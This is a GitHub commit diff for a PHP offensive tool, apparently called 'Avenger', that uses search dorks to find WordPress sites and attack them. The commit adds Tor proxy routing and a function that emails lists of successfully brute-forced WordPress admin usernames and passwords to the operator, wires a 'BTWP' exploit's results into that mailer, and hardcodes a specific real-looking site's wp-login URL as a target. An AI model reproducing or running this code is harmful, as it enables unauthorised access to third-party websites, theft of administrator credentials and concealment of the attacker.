Skip to content

Commit

Permalink
adjust avenger for btwp
Browse files Browse the repository at this point in the history
  • Loading branch information
lenonleite committed Oct 3, 2016
1 parent a0c5498 commit 4710ff4
Show file tree
Hide file tree
Showing 5 changed files with 38 additions and 33 deletions.
Empty file added results/exploits/a.txt
Empty file.
Empty file added results/exploits/btwp/a.txt
Empty file.
Empty file added results/exploits/lfd/a.txt
Empty file.
32 changes: 0 additions & 32 deletions src/Lib/Mailer.php

This file was deleted.

39 changes: 38 additions & 1 deletion src/SearchHackingEngine.php
Original file line number Diff line number Diff line change
Expand Up @@ -13,6 +13,7 @@
use Symfony\Component\Console\Helper\Table;
use Aszone\SearchHacking\SearchHacking;
use Aszone\Vulnerabilities;
use Aszone\ProxyAvenger\Proxies;
use Aszone\Avenger\Mailer;
use Aszone\Hacking\DefaultSite;
use Aszone\Exploits;
Expand Down Expand Up @@ -124,6 +125,11 @@ protected function execute(InputInterface $input, OutputInterface $output)

$filterProxy = array();

if($this->torl){
$torl= new Proxies();
$this->torl=$torl->getTor();
}

$commandData = array(
'dork' => $this->dork,
'pl' => $this->pl,
Expand Down Expand Up @@ -298,6 +304,27 @@ protected function sendMail($resultFinal)
}
}

protected function sendMailBtResult($resultFinal)
{
//Send Mail with parcial results
$mailer = new Mailer();
if (empty($resultFinal)) {
$mailer->sendMessage('[email protected]', 'Fail, not finder password in list. =\\');
} else {
$msg = 'PHP Avenger Informer final, list of SUCCESS:<br><br>';
foreach ($resultFinal as $keyResultEnginer => $resultEnginer) {
foreach ($resultEnginer as $keyResult => $results) {
foreach($results as $keyResult=>$result){
$msg .= $keyResult.' '.$result.' <br>';
}
echo $msg;
$mailer->sendMessage($this->email, $msg);
}
}

}
}

protected function createNameFile()
{
return $this->getName().'_'.date('m-d-Y_hia');
Expand Down Expand Up @@ -366,6 +393,7 @@ protected function checkVunerabilities($nameFile, $result, $commandData, OutputI
$site = new DefaultSite($commandData, $result);
$resultFinal['isAdmin']="http://www.riojurua.com.br/wp-login.php";
$resultFinal['isAdmin'] = $site->check();
array_unshift($resultFinal['isAdmin'],"http://www.riojurua.com.br/wp-login.php");
$this->saveTxt($resultFinal, $nameFileIsAdmin);
$this->printResult($resultFinal, $output, 'Result list of admin page:');
$this->printResumeResult($output, 'Patch File of admin page:', $nameFileIsAdmin);
Expand Down Expand Up @@ -442,11 +470,20 @@ protected function runExploitBTWP($result, $commandData, OutputInterface $output
$output->writeln("<info><info>Password: ".$resBtwp['isAdmin']['password']."</info>");
$output->writeln('<info>********************************************************</info>');
if (!empty($this->email)) {
$this->sendMail($resBtwp, $this->email);
$this->sendMailBtResult($resBtwp, $this->email);
$this->printResumeResult($output, 'Email to send:', $this->email);
}
}
}

}

private function setTor($tor = '127.0.0.1:9050')
{
$this->tor = $tor;
return ['proxy' => [
'http' => 'socks5://127.0.0.1:9050',
'https' => 'socks5://127.0.0.1:9050',
]];
}
}

0 comments on commit 4710ff4

Please sign in to comment.